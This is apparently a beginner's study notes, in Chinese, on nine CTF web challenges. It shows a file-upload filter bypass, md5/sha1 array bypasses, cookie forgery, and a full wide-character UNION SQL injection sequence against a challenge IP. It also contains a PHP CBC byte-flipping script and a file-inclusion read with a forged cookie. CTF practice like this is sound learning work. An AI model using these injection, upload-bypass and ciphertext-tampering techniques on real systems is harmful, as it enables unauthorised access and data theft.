|
新手写的 参考的wp重现了一下,作为自己的学习笔记
web 1
考的是php的正则,下面是源码

刚开始的时候折腾了半天 傻逼似得在URL后面添加了2.php 结果出来的都是key:KEY{*********************************}
后来有人和我说把2.php去掉。然后用了原来的答案,才出来了key。。。
答案:id=keykeyaaaaaakey:/a/keya!
挺多的 毕竟匹配么
web 2
hint:php5
我也是后来才看到这个hint,其实没有这个hint很难弄出来。。。
写wp的时候上传题已经进不去了。就文字描述吧
弄一个1.php5的文件还是很简单的
主要是改一下图片下的Content-Type内容为image/jpeg
其实到这里还不行,还要改上面头部的Content-Type的multipart,改为Multipart就好了
问了一下 有人给了我一个来源:http://www.wooyun.org/bugs/wooyun-2015-0125982
看了一下 是对multipart进行了验证 但是没有验证大小写
web 3
进入网页,看到一段代码

其实不会,看了一下别人的wp
他说的是用php输入流,用hackbar构造请求

key就出来了
web 4
载入看到
Post your username and your password
果断用burp 看到传回的cookie: user=Z3Vlc3Q%3D
去base64解码一下,发现是guest,切记%3D是=的编码,当时愣了半天没看懂这是base64
然后base64加密一下admin,传送数据包

咦 怎么还是这个提示?
然后用hackbar来实现了一下 再抓包 发现数据包里有一个头的差别
Content-Type: application/x-www-form-urlencoded
好了 加上
收到提示
Your password can not be your username.
随便改个密码,再次发送
收到提示
md5(username) == md5(password) should be true!
好吧 绕过md5我知道的有两种 一种是php下的md5 0e漏洞,这里显然不是
那就是另一种了,构造个数组,绕过 username[]=1&password[]=2
OK了,拿到了key
web 5
访问,一篇空白

???
经过提示 知道了是备份文件,我知道的备份文件有两种,后面加~的 和后面加.bak的
听说有个扫描器,专扫这种文件,暂时没找到,找到再说吧
这里访问index.php~,看到了代码

好吧,sha1可没有0e碰撞的问题,果断用数组
很明显的,用hackbar发送一个数据包

就拿到key了
web 6
访问返回:
key in the database
在返回包里看到charset=gbk
不用多想,直接就是宽字符注入了
什么是宽字符注入呢,就是%df'被转义成%df\'导致单引号可用的情况
接下来就是手注的问题了
139.129.166.67/5t5y6huj7j7/index.php?id=1%df%27 union select 1,2%23
确认两列
139.129.166.67/5t5y6huj7j7/index.php?id=1%df%27 union select 1,group_concat(database())%23
确认test数据库
139.129.166.67/5t5y6huj7j7/index.php?id=1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
确认article和flag表
139.129.166.67/5t5y6huj7j7/index.php?id=1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167%23
确认id和thisisflag列,此处的0x666c6167是flag的16进制
139.129.166.67/5t5y6huj7j7/index.php?id=1%df%27 union select 1,group_concat(id,0x7c,thisisflag) from flag%23
获得flag
这边原来对%23和#有点疑问,为什么一定要%23但是#却不行呢
问了一下前辈,原来直接输入#,浏览器会误以为你搜索的是HTML标签的ID部分,所以并不会给你转义成%23传到服务器,所以要手动输入%23
web 7
登进去看到
please faster
按照经验,肯定是脚本,看burp抓包,果然

包头有个flag,后面是一串base64编码,要求POST数据为anyun: xxx形式
果断写一个脚本,发现回复了这样的东西
I said do faster
Please faster!!!
尼玛,尝试好多次无果,最后看别人的wp,发现要base64解码两次
然后解码两次,依旧这样,呃。。。
再问别人,结果发现cookie要设置,好坑
最后得到了key
附上脚本
<?php
$url = "http://139.129.166.67/gthyj67r/";
$contents = file_get_contents($url);
$header_arr = get_headers($url);
$cookie = $header_arr[4];
$cookie = explode(':',$cookie)[1];
$flag = $header_arr[8];
$flag = explode(':',$flag)[1];
$flag = base64_decode($flag);
$flag = explode(':',$flag)[1];
$flag = base64_decode($flag);
$post_data = array("anyun"=>$flag);
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_COOKIE,$cookie);
curl_setopt($ch,CURLOPT_POSTFIELDS,$post_data);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>
web 8
这题不会,看了别人的WP,重现了一下,自己写一下,加上点自己的理解
进入页面,看到源码

CBC字节翻转攻击,来源:http://drops.wooyun.org/tips/7828
看了这篇文章,大致懂了一些,写个脚本
<?php
$enc = '9pzE4775q38+wGl/FqNMfFM53Ra6wTKAGUykoeioOjKzlajhqgjsPjGiXVvkFF2BwdywFE67ELLaNuU5yS0kjiuETsjG0Jdk4LiwwBst8ig=';
$enc = base64_decode($enc);
$enc[47] = chr(ord($enc[47]) ^ ord("9") ^ ord("1"));
$enc = base64_encode($enc);
$enc = urlencode($enc);
echo $enc;
?>
明文:1234567890abcdef1234567890abcdef1234567890abcdef1234567890auid=9;123123123123
刚开始我对47不太理解,按照来源里说的,16字节为一组,第一组不加,第二组开始算,到9的话偏移量是47,就懂了
得出来的$enc字符串放入cookie中的user里就好
web 9
这道题一进网页看到URL变成了这样
http://139.129.166.67/sefrgtafgr/index.php?line=&file=a2V5LnR4dA==
发现和idf-ctf实验室里的叫做cookie欺骗的题目差不多,就是文件包含,line来读取第几行
把file后改成index.php的base64加密,然后改line的值,得出整个PHP代码
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array( '0' =>'key.txt', '1' =>'index.php', );
if(isset($_COOKIE['key']) && $_COOKIE['key']=='an_yun_tec'){ $file_list[2]='thisis_key.php';
}
if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line];
}
?>
接下来就简单了,构造数据包,其中URL为
139.129.166.67/sefrgtafgr/index.php?line=&file=dGhpc2lzX2tleS5waHA=
cookie加上key=an_yun_tec
通过burp发包,就得到key了 |